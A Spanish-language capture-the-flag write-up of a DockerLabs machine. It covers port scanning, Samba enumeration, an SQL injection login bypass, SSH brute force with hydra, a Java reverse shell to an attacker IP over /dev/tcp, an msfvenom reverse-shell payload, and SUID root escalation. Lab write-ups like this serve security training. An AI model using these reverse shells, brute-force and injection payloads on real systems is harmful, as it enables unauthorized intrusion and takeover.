Database , DockerLabs
En este reto de DockerLabs nos encontramos con el tipico escaneo de puertos , enumeracion de samba , sql injection , movimiento lateral entre usuarios y escalada final.
Herramientas y recursos
- nmap
- enum4linux
- Exploit notes
Enumeracion
Lanzamos nmap con los parametros de costumbre en un ctf.
1
sudo _nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX database 172.17.0.2
Observamos que tenemos el 22 el 80 y tanto el 139 como el 445 que coresponden al protocolo samba.
Mientras continumamos con la enumeracion haciendo uso de enum4linux para ver que podriamos tener en samba reviasamos la web.
Nos muestra un panel de login aqui podriamos probar varias cosas desde xss , sqlinjection , csp ,…. , si nos fijamos en el codigo no hay nada que de seguridad ni sanitizacion en la web.
Yo en este punto perdi mucho tiempò tratando de abusar del csp intentando leer el /etc/passwd , sin exito obvio .
En la siguente imagen podemos ver que es susceptible a la inyeccion.
Ejecuto:
1
"/>'><script src=data:text/javascript,alert(1234)></script>
Da error
Pero lo traga
Ahora deberíamos probar a hacer login .
1
'or 1=1-- -
Conseguimos loguearnos pero a simple vista y en mi opinion esto es un agujero para perder tiempo “imagino deben haber payloads de sql inyection que nos muestren los usuarios y las passwords lo ignoro por ahora”
Veamos ahora que hemos conseguido con enum4linux.
1
enum4linux -a 172.17.0.2
Esta vez tenemos mas suerte y encontramos usuarios con lo cual ya podriamos probrar con hydra hacia ssh.
Para ello me creo un fichero con los nombres de los usuarios para pasarselo a hydra .
1
hydra -L usuarios -P /home/quino/Descargas/rockyou/rockyou.txt ssh://172.17.0.2 -t 4
Infiltracion
Hydra nos a conseguido la pass del usuario augustus , como le pasamos la lista con los nombres de usuarios yo lo dejo trabajando por si me saca la de dylan o la de bob , mas que nada por si augusto es otra madriguera de conejo como e login web.
Vamos a logearnos y salimos de dudas. Yo siempre busco con sudo -l .
Tenemos java para poder realizar movimiento lateral hacia dylan , ahora si que detengo el hydra que estaba corriendo.
Intento con una revshell crada a traves de revshells.com y en este caso el codigo no funciono.
Codigo que no funciono en esta , pero si andubo en la pinguinazo.
1
2
3
4
5
6
7
8
9
public class shell {
public static void main(String[] args) {
Process p;
try {
p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.0.112/9001 0>&1"); p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
Buscando en internet encuentro el suguiente enlace java exploit
1
msfvenom -p java/shell_reverse_tcp LHOST=<local-ip> LPORT=4444 -f jar -o shell.jar
Ahora reviso el fichero creado y me queda claro que la diferencia salta a la vista , no me andaba porque le pasaba un script y estaba esperando un binario. Nos lo transferimos con python creando un server http y una vez lo tenemos ejecutamos para convertirnos en dylan.
Nos ponemos en escuha como siempre antes de ejecutar la revshell. Una vez recibida la conexion realizamos tratamiento de la tty. Empezamos con sudo para ver si pasamos a bob o a root directos.
En esta ocasion sudo no nos aporta nada pero con find tenemos suerte y encontranos el binario env con suid y podemos realizar la escalada final.
Escalada final
1
find / -perm -4000 2>/dev/null
Ejecutamos como nos indica y somos root.
Hasta aqui la maquina.
Muchas gracias por leer ..
Comments powered by Disqus.